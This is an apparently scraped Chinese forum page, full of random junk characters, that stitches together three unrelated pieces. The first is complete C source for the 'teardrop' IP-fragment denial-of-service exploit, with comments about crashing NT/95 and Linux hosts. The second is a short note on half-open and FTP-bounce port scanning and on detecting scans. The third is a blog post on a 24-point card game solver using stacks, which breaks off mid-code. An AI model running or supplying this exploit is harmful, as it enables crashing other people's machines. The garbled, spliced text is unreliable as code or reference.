* NT 4.0 / Windows 95 (others?): A2 A6 T; p3 h% I6 e8 w# l
*
) G6 `: i% V$ x) _1 P. E- V* Based off of: flip.c by klepto
1 _- D1 L, t0 j* Compiles on: Linux, *BSD*2 x9 }$ p# C; l; X
*
! C* u7 U: _8 F( d; m8 ?9 q* gcc -O2 teardrop.c -o teardrop
% n  C: }' |: J) x3 ~0 M3 \& L* OR' B2 B! J, ?" i+ T2 _) O. j
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
. r1 X; X' U* }7 i  J% F7 j*/</P><P>#include <STDIO.H>. X- l5 w) V4 b" C) p* N- \
#include <STDLIB.H>
6 t# X3 `( j9 r5 k4 Y% m9 G% z#include <UNISTD.H>
- i$ m- K( @% b, Q  x4 W#include <STRING.H>9 g4 m! H; r" P0 w3 p) u4 _
#include <NETDB.H>; C0 S0 a6 J! [
#include <NETINET in.h>
. G$ A9 G1 a& Z( T- `7 f#include <NETINET udp.h>
5 h9 l+ k7 Y5 @: N#include <ARPA inet.h>
8 X1 @8 S5 c/ v6 s#include <SYS types.h>, E9 ?0 |, o6 P  X+ v4 C4 f
#include <SYS time.h>! q8 T  J, K6 O% d7 W+ I
#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING3 [; k- R# M% I3 b3 V# m3 x0 Z
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
$ W" u0 z. l" H' k2 E9 g#define FIX(n) (n)0 W. ?* o: H- I' w, ]1 @. C: ]' B
#else /* OpenBSD 2.1, all Linux */- ~( F) m. f. p; |
#define FIX(n) htons(n)
1 k& m+ r$ H. \#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */  x. |8 D. h! I4 V! T4 X
#define IPH 0x14 /* IP header size */
  `* J  F0 u9 t6 u#define UDPH 0x8 /* UDP header size */  \5 a, i7 v. o) y* v1 K9 |- O
#define PADDING 0x1c /* datagram frame padding for first packet */
) X' J* i  e1 p( t#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
- h. l: @+ R* p) Q+ u4 S#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
/ a3 J- @. h5 Q4 H) ?5 \1 `* withstand maybe 5 or 10 sometimes... Experiment.
* @. H! }( {# I( ]& p* z% ~6 a*/</P><P>void usage(u_char *);
9 K1 ?, Y4 p% Q/ l' O7 i9 ^u_long name_resolve(u_char *);, c: M* P& T" B+ ?, j. j
u_short in_cksum(u_short *, int);
2 S7 K: E- R* S2 j1 svoid send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)8 j' @" B2 P9 ^8 U
{
0 b: g: u0 X. e3 E  Zint one = 1,
* o2 u. y3 l4 d4 Xcount = 0, 3 z5 l+ m" p. h* {1 A
i,
) h7 H+ N4 Z7 V" [: j- J! y) Yrip_sock;& b, }( U& r) d% G* h4 e0 S
u_long src_ip = 0, dst_ip = 0;  N" V0 @  I4 b; C0 S: W" ]  |
u_short src_prt = 0, dst_prt = 0;$ T5 l6 d7 w( t6 V
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
  B+ @2 `1 ]/ _: u  Eif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
3 P: S+ H0 S$ `+ C{
4 k4 _1 B1 D5 X* b* t  Y8 hperror("raw socket");
5 t! F! _2 S6 O/ A0 n4 d2 texit(1);* \2 q- \2 a2 A9 A7 X
}  g3 H4 H2 Q, N
//由系统处理IP校验和。
3 V' B' T7 m" D7 v) `3 eif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
) a  e" P  {; G) z1 S$ ]  H+ |; C& q&lt; 0)
! M3 b# c: d# V, E+ f{
. l/ o2 ]% ^/ d* pperror("IP_HDRINCL");4 j6 y8 C& _' ~3 _% y1 [) [: e
exit(1);1 Y( w) }# L( i* A3 [* `( e
}</P><P>if (argc &lt; 3) usage(argv[0]);" @- N0 t# ~% m6 N( @1 X7 F$ C. d" L
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))). p1 _' x  r! D: @: \) ~; P
{
4 J6 f9 x$ V( e/ Zfprintf(stderr, "What the hell kind of IP address is that?\n");  ]* l9 ~% u# |
exit(1);
/ D6 Z0 g9 r" ^2 K}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)% W5 S* Q8 s8 H: A
{
* {- B0 o) _# r" E2 ?/ zswitch (i)1 j: @, T3 f5 o- A  u, Y
{
# m% G" M5 m' t' @case 's': /* source port (should be emphemeral) */* g$ e8 E  p" K# I0 F
src_prt = (u_short)atoi(optarg);
; }: j/ T$ B( W' R. J/ \  Pbreak;
$ s! S" f+ k5 ]1 T8 Ocase 't': /* dest port (DNS, anyone?) */
! ]7 l! U% O" ^3 {dst_prt = (u_short)atoi(optarg);. P' Y2 Z% G0 h3 _4 X1 D8 r, ]* v" ?
break;
1 D1 K& R  @( {/ g0 l) E& Xcase 'n': /* number to send */
$ M. S! H7 H  ?  }& ^+ D6 Zcount = atoi(optarg);3 s) u/ ]- i1 N6 U+ Q! x. k% N
break;
9 c1 z' u8 Z) A& N3 Mdefault :; Y( A3 X8 t' a* t
usage(argv[0]);
7 w, B/ N; J/ I" C+ U. ybreak; /* NOTREACHED */7 V' y' H$ E0 B+ k4 o) v
}
7 j& F* a# }3 z2 r}</P><P>srandom((unsigned)(time((time_t)0)));
! U4 X. P& W5 Y) Zif (!src_prt) src_prt = (random() % 0xffff);
9 y6 d% n7 r& `9 g* y' Cif (!dst_prt) dst_prt = (random() % 0xffff);
0 Z. Q* L$ @" Uif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
* W" h, R1 X5 [& {2 Aaddr.s_addr = src_ip;
  x7 I0 j, J  |6 J9 Yfprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);# h0 A8 N6 A) Z: t5 q! ~( A4 L
addr.s_addr = dst_ip;( D$ E( _1 N8 O
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
9 S' t2 n; H: w" Y9 V2 xfprintf(stderr, " Amt: %5d\n", count);5 q5 h1 A( `6 S2 z' F8 H4 E/ G
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++): i1 h. m  [% v
{
8 v3 B6 N7 U8 R8 zsend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
  y% R, ]6 r5 @7 {: ?# e  @" Zfprintf(stderr, "b00m ");
1 r- }2 `& J( |5 p, pusleep(500);4 u9 D  }- {% _; d3 R
}
% h: L2 D' P4 F  Yfprintf(stderr, "]\n");
1 i( j. `5 [% Nreturn (0);. F& W- g% f+ e. \' A
}</P><P>/*( v4 r- h/ {' C
* Send two IP fragments with pathological offsets. We use an implementation
& q8 Z. e1 j( x7 K! @% n! M* independent way of assembling network packets that does not rely on any of1 x/ g7 F2 |  A; p, J
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).5 t+ Z) b) A  ^% l# W4 J) B) E5 t
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
4 u3 Q& V5 A0 l) A: e$ \1 H; z2 t2 }u_short dst_prt)! Z- {- |/ m- M3 x/ I5 D" b
{2 @' R& E. ?0 h& \) `
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
; p4 j$ \& i) h% Yu_char byte; /* a byte */
% X5 y* j! y" `; ], `5 b4 d- d8 U/ nstruct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
/ t3 C/ Q' H3 C6 Z/ K3 @" Vsin.sin_port = src_prt;
7 e* A6 I" C' [0 o. `+ H2 ssin.sin_addr.s_addr = dst_ip;</P><P>/*# _3 s0 n  K# F& ?7 d8 O
* Grab some memory for our packet, align p_ptr to point at the beginning8 u- P  J7 ]" ?; {0 Y# z( ~( D8 }8 w
* of our packet, and then fill it with zeros.
. j. S* [* ~: n: P0 ^*/
+ u/ J% X% z6 K8 h6 ~7 i) P3 Rpacket = (u_char *)malloc(IPH + UDPH + PADDING);2 J9 @; s0 ^5 c' i6 j* d- F  T, P5 _
p_ptr = packet;2 {, O' G# I# y3 W& V  R4 A. H# j
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
1 e4 l( R* r' u& j+ ymemcpy(p_ptr, &amp;byte, sizeof(u_char));) C3 m5 N7 Q9 U! ^
p_ptr += 2; /* IP TOS (skipped) */! t7 j$ ]2 d) {. |0 D4 r
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */- ~" i5 {" H! E1 [+ ]
p_ptr += 2;) @% D7 D4 M) |! a
*((u_short *)p_ptr) = htons(242); /* IP id */
) r% n& v$ y: W/ f5 `! A2 Kp_ptr += 2;
8 _( q$ ~. C3 N- @2 g: L*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */7 M- s5 X( I4 [. B
p_ptr += 2;) E. r2 [& ~4 A3 g2 H1 f
*((u_short *)p_ptr) = 0x40; /* IP TTL */- u: _9 I: z1 E3 O$ p. U9 ]; ?
byte = IPPROTO_UDP;7 E8 D) ^: g+ @6 @3 w5 h
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
& \' c1 h  A' k3 ?& U& Jp_ptr += 4; /* IP checksum filled in by kernel */7 i# G: _- z! ?2 M, a" O0 F
*((u_long *)p_ptr) = src_ip; /* IP source address */8 G5 ]- @/ A# f' ]' p* o
p_ptr += 4;7 R  T3 b% z- A7 X: g' r+ }
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
; z8 c$ S0 \" X. {1 o; jp_ptr += 4;
( U0 u& R% f4 M  }0 L3 [9 r*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
) @- s% U6 A* _0 j: s  f4 hp_ptr += 2;
0 ^( Z2 A. i7 I' E* }*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */& F8 T/ s; M6 i: n( F1 g& J
p_ptr += 2;
/ H7 V0 t3 s2 _" I*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,1 x* X0 h" P- s/ P& ^# z
sizeof(struct sockaddr)) == -1)* ^. N9 f) k: r. k( G
{' n/ C( [4 C9 ?3 y; E
perror("\nsendto");
; G. l  r6 J- A9 ufree(packet);5 z" s0 r6 F2 f1 k  X3 U9 B5 `
exit(1);
6 L* _0 U1 q8 d, ~6 r' m; k}</P><P>/* We set the fragment offset to be inside of the previous packet's
" N/ x+ h6 A0 `' d  r) k- X% u& o# U* payload (it overlaps inside the previous packet) but do not include
, S% `8 U% C9 ~8 s8 b4 [: S' }  k* enough payload to cover complete the datagram. Just the header will1 g8 F/ V3 W6 a6 L( p0 T  a
* do, but to crash NT/95 machines, a bit larger of packet seems to work9 c7 n1 M$ ?. U( J5 m3 U
* better.4 S, {0 O/ Q+ G4 }. m
*/7 }, M, {4 C# f$ D5 Q
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */1 g7 i% [! ~( j8 Z9 g' s$ h
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);3 B) E! ~& a$ K" A7 A
p_ptr += 4; /* IP offset is 6 bytes into the header */, ?- K0 g5 ?1 }1 e* B+ o, M* y
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
& ?- X3 N% v. o1 H8 S" Rsizeof(struct sockaddr)) == -1)
7 v, s; z) ^  U2 }' i& d{: H, n2 Z5 J6 x' _5 ^4 ]5 T
perror("\nsendto");
8 S+ I- n+ H% q( p# a. ~0 k" ^free(packet);
* V0 A% [$ a3 `+ }/ Jexit(1);
1 U& s: h# m+ D# A$ O4 ]}% Y/ n' b; L$ V& f5 [
free(packet);) E; ?3 E! r/ h6 J7 f  y
}</P><P>u_long name_resolve(u_char *host_name)
4 T; z# L0 W  b" u; c& i7 S{& g0 z2 p' Q( d, S9 z* F1 j
struct in_addr addr;, L8 I( W- C. m+ ?: A9 J* k5 Y
struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
2 Y  I$ [9 U5 u( `. H# X% x{0 I8 I4 p* k% v) L, x. Q8 _
if (!(host_ent = gethostbyname(host_name))) return (0);8 H! y4 j$ q" h- e: _
bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);  S  E* w3 B- h! W
}
3 V- j* \2 U" b; |( g3 ^! z# Qreturn (addr.s_addr);
7 o, L# i+ d) M8 t( ?' V, n}</P><P>void usage(u_char *name)
2 T! p6 a) R( b# A{; K# t+ f: Z# U; ~; w* c) B
fprintf(stderr,
% l; h! w( t1 ^9 f- k9 \" H"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",- Z5 a+ T/ |2 g$ p
name);
# Z& c- a1 t5 N  t1 Oexit(0);2 \3 M4 x9 j* X2 ~. w
}</P><P>
# e5 H0 I) W: Z: m+ ?! O$ B* H4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法: 0 P- n8 b& o% F
(1) Half-open(半打开)
) G+ y& W+ D# T" c& ?利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
$ |9 N3 l2 N7 L) m, }2 x8 y如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner6 [5 w2 ~. Y, }! K
利用了FTP的port命令,例如可以这样作:
+ {9 J% x9 h9 h: f8 d( U选择一个FTP服务器,连上后令port命令指向目标机,如果返回
2 r' ]6 L! S9 e: y值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则; X+ r2 `3 D5 h7 C9 t/ w" ?
该端口无服务。4 g% ?4 X- ^$ {0 T0 T. {3 `
telnet 192.168.1.13 21
8 Q6 u3 C$ V  V- hTrying 192.168.1.13...
) y4 O* r; D' ^) g3 k1 l1 }Connected to pp.bricks.org.3 Z( G, ?; T2 D, w9 i7 [
Escape character is '^]'.3 ~' z, v; ?; D/ G6 Q. d+ A
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
% b" e6 k6 W6 t/ i: ^0 A* ^Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous5 z+ x3 M/ h7 M& S
331 Guest login ok, send your complete e-mail address as password.
) H4 P( U0 b  J* Ppass aa@aa.aa# o  A7 \, e) _- `3 W, h& V
230 Guest login ok, access restrictions apply.# i0 P' S# V% `  F7 c4 r5 C, b# _
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.3 W( z- f8 K$ b) Z8 Y; E4 G
425 Can't build data connection: Connection refused.5 _, E$ p& W* E* v, f8 D
//该端口未活动
: E$ o, w3 w- f2 W# J# T& m. _150 Opening ASCII mode data connection for file list.
5 U  ]4 Y, ]* ]' }0 t' |226 Transfer complete.
1 a! t1 @) f4 e* A4 B* F, [//该端口活动中
3 S( e$ n$ M$ |. F" ]& B; a但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing/ Y3 L5 Y4 I2 k! s* y$ t' \( K/ n
SYN|FIN ACK or SYN|ACK* RST
2 D- f# w; M1 S0 C; @ACK Nothing RST. A  c: }" y% W+ [4 c! a
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport" A& N0 n& |6 s, x! x' `
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,( C4 _. K% e% g# f# \; B5 {
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认! E& ]! D& ^2 L4 J) a. R
定它在向你做portscan。</P><P>notes:
' C$ a8 a: U+ [( v& X早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),% |* C, @$ U  ]' ?8 T0 N! \) k  y
而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的% f' K6 L9 |1 T
都是向它scan。</P>
作者: 韩冰    时间: 2004-10-4 02:40
< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
+ s4 p& Q# D" E; ]2 L/ Q  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。: P: [6 w% ~; I! i4 I( p

& z( ]2 T  _8 r: d' B  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。 0 ]: E  U! ?! m6 {6 H
首先穷举的可行性问题。我把表达式如下分成三类——
8 z6 T+ y, S7 Y6 j<FONT color=#ff0000>1、 无括号的简单表达式。# F' ^/ ?& R  U, y6 _# b% z- ^/ @2 V
2、 有一个括号的简单表达式。
; a" @, C4 l3 O0 C. v6 x" }3、 有两个括号的较复4、 杂表达式。
0 L- g! x9 w! V</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:8 D3 B' n1 ]( }
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
) Y* C! F& p: q/ U) K/* c[] 存放四张牌的数组 */
" }7 k5 n; F. }$ Y$ s/* k[] c[]种四张牌的代号,其中k[I]=I+1。) |8 ]% f  ~2 Q9 @7 n( A2 j' g9 |
用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */
" M/ i" {/ i, A; K+ H/* kans[] 暂存生成的排列组合 */
6 v5 G& I' W3 L- {3 u2 M+ j% i/* j 嵌套循环的次数 */4 }, w, n1 H, I( j
int fans(c,k,ans,kans,j)
- g7 Z& K2 _- a- o6 N1 yint j,k[],c[];char ans[],kans[];6 z; z, R3 o, K% ]* W
{ int i,p,q,r,h,flag,s[4],t[4][4];
, G3 A+ e3 K6 I% qfor(p=0,q=0;p&lt;4;p++)2 z( T8 m6 D. K
{ for(r=0,flag=0;r<J;R++)
4 K  Y8 `. }1 E# F' g" k, y! ~ if(k[p]!=kans[r]) flag++;0 Q; @/ t$ w% k2 S1 G. d
if(flag==j) t[j][q++]=k[p];$ {3 F! f% F* o' Z4 K1 S- f. D
}/ B, M) x. `# T0 _- }+ W2 }
for(s[j]=0;s[j]&lt;4-j;s[j]++)
7 @$ C* J) X. Q& N$ u9 a{ kans[j]=t[j][s[j]];/ V" k  Q. z  l1 e
if(j==3) { for(h=0;h&lt;4;h++)
8 k; [  s; v2 {) F& D$ a: Zans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表  r% C3 I: `) f) B; D7 }: F
达式中的位置 */5 C( I  q0 @' ^# ~) e
for(h=0;h&lt;3;h++)
7 x& h: {. B) F2 w; o- fsymbol(ans,h); /* 在表达式中添加运算符号 */) A% k" R0 K) v8 }4 X; l8 S) U
}. k/ u- M: n8 t
else { j++;
7 I' N  y3 A& ^; u% Rfans(c,k,ans,kans,j);
: |0 T9 I+ k7 b$ u! K6 P1 H" h$ b* s* }j--;7 ^5 F" ^; u( P# U* _+ W$ ], R
}; X0 m% O; k0 W7 {
}# M( v* n( |* T% P5 @
}</FONT>
8 G, ?6 e* B2 O. m; m( a8 x( Z0 P* D" n3 Y* H2 B+ N4 _! j
  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:
* t: f  G& I2 Y2 M% Z, D2 p( P# d9 I$ {0 j2 t  J) P/ N7 S& P3 G
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
6 G% B9 s. W0 y& N5 \/ W: d; Y) [& vint sans(ans,sy,j,h)
5 Q: H+ x, f% c* }4 echar ans[],sy[];int j,h;/ K1 [% D* B7 [
{ int i,p,k[3],m,n; char ktans[20];, B6 a3 @; X" X) z5 N: f
for(k[j]=0;k[j]&lt;4;k[j]++)) s. b: O) m0 Z2 h3 T8 O# [
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
& g- m5 ^- ?2 ?3 ~; D1 C  Q这里的三个运算符号分别存放在1、3、5位*/
6 s6 Y/ h  g- P3 }2 `if(j==2)
: r; d' J0 d" N8 ~{ ans[5]=sy[k[j]];/ A# q+ A% p: I6 N9 i; e" w/ i+ ]
/* 此处根据不同的表达式形式再进行相应的处理 */
" ?6 _+ ?% I9 _: s}0 g8 L2 _/ i( Z$ k  p
else { j++; sans(ans,sy,j--,h); }" R) ~$ S6 g2 }6 O
}% x6 M. d9 O+ }2 |2 E
}
; G" y4 ^3 D) c. p, ~" o9 v. `& e
3 a+ G4 y. j1 O9 c2 U</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。# i+ T* H  T( S: k5 B5 {
for(m=0;m&lt;=4;m+=2)* S- [9 E' v& k4 w6 Z& ~
for(n=m+4;n&lt;=8;n+=2)
3 @9 l4 k, `# {3 y9 _  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。3 {. Q" X5 {: C# Q; q

4 Z2 {# ?9 g1 B0 B* C8 O) z- d0 b  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。
* x4 v) d1 b4 I</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
, z0 c" q& s* W6 |在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。
3 n1 w9 c7 y2 D  k
; ]' p/ |7 |5 E( ^4 p# t  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。7 h1 U, U6 [* K0 C; L/ H

4 ~, W7 _# x- ^2 L+ s/ _9 E  那么作为栈的著名应用,表达式的计算可以有两种方法。
( R' N, n3 H- u; ^+ e" [5 C
4 @3 D; M# J9 W6 D* b4 |  <FONT color=#ff0000>第一种方法——</FONT>
% e. P) H% r, y" h- s  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。/ F: J- f6 [  L) L3 u
  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:
$ Z  s/ ?" C- `$ x, U1、 若W为操作数
# f$ J1 T0 s& _. g2、 则将W压入操作数栈OVS$ N0 R& O% o4 W+ ]2 k
3、 且继续扫描下一个字符! R( d$ x! o9 f+ M; a/ u9 k: A' a
4、 若W为运算符1 \( N, d! F; L
5、 则根据运算符的性质做相应的处理:
/ b- w- `# O9 \. O' n(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。) Z/ N6 [& }4 x% i- ?
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
- D$ ^8 T" ?0 E(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
0 e' F* I! b, `1 Z- @0 C% p: L(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。9 F) c. g& ]/ V

  N" Y$ ~3 t& }5 v* ^! t' W$ v<FONT color=#ff0000>  第二种方法——</FONT>
7 m( i% D0 D1 s* t: r  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。' F" P* D; H5 V/ H* S' }' q

% z4 ?0 K# _' f. r0 X6 l" ?: l0 R  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。1 K1 ~' G9 I4 h: N, Z
( P4 _8 p/ u0 q3 q- P  O
   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
$ `. k7 m/ t; t' D5 Z& x3 S* i- P4 l表达式 波兰表达式( p$ o) P# t' \2 e
A-B AB-7 _5 E% R4 k  w$ z/ U3 T$ Q4 b
(A-B)*C+D AB-C*D+
9 M6 @' I: P7 @. Q5 O, xA*(B+C/D)-E*F ABCD/+*EF*-
/ g5 S2 k8 c6 b: o(B+C)/(A-D) BC+AD-/
4 v' A+ g9 d3 }$ W( Z& f! f* o$ U" Q, M/ _, z/ ]% V; K; Z
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
' f( x4 s, f2 L4 O6 w4 t
. x& \  T9 k7 E+ |. J. H  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。' {% |; [* n- x: b4 K

" }  d& L. y0 x5 d" }' I% @  下面给出转换和计算的具体实现程序——0 J; y& Z7 Y7 o- C. y9 O

) Q2 n' a- |! m' L<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */
  {3 u* b" }7 @; X7 g. v1 vint first(char c)
0 ]% K$ ?6 x% x{ int p;
$ i+ p9 v8 |9 c( W# i* `: Q* S' Fswitch(c)' G8 D7 f* x6 k2 T  Z
{ case '*': p=2; break;# J$ s4 E6 r! b/ W( A: A+ f
case '/': p=2; break;+ w3 Z$ K/ h* F( C) i2 m0 ?! [
case '+': p=1; break;" m% k9 i( B2 N; H+ M* ~* L
case '-': p=1; break;
+ e: G. ~% t7 y3 _2 K6 ?4 hcase '(': p=0; break;
* y3 i3 w0 _9 _+ ycase '=': p=-1; break;
  Q# ]  Z* x, r% ?0 h1 [}" Q3 k' o0 |! v1 S& u
return(p);9 F- `) U8 `, P" F3 i9 x: p; ]- c
}; N4 p2 j3 I5 ^/ A2 Q; H
/* 此函数实现中缀到后缀的转换 */
. o& P( v& y. _( S% i& ]  [7 x/* M的值宏定义为20 */
1 e2 f2 K: j8 s/ N% s+ y/* sp[]为表达式数组 */
2 _7 b" n8 E" ?  H9 p, f5 sint mid_last()6 I8 T4 ~4 B' O" k6 Q, d+ Q
{ int i=0,j=0; char c,sm[M];; D& n! s1 _: n/ o8 k! r
c=s[0]; sm[0]='='; top=0;- d9 Z" X, r( W& `. ~3 B$ r8 B
while(c!='\0'), i' U6 X- T8 C/ E$ L* R/ D
{ if(islower(c)) sp[j++]=c;$ l1 m* I. C' N% K# E
else switch(c)) h+ H' e) o6 t
{ case '+':
6 s9 z) }5 U( g+ kcase '-':
; U# F( e7 i3 ~( r7 e$ U6 kcase '*':
) _6 R. L: X: B- n2 n- Lcase '/': while(first(c)&lt;=first(sm[top]))0 }9 I7 Q& U* |" K7 w) Y  r4 I4 ]
sp[j++]=sm[top--];
4 n! q9 T7 W& [& e4 B& Rsm[++top]=c; break;
. k3 x+ y' f+ g2 ycase '(': sm[++top]=c; break;( g; W9 Y: Q* h4 T: s
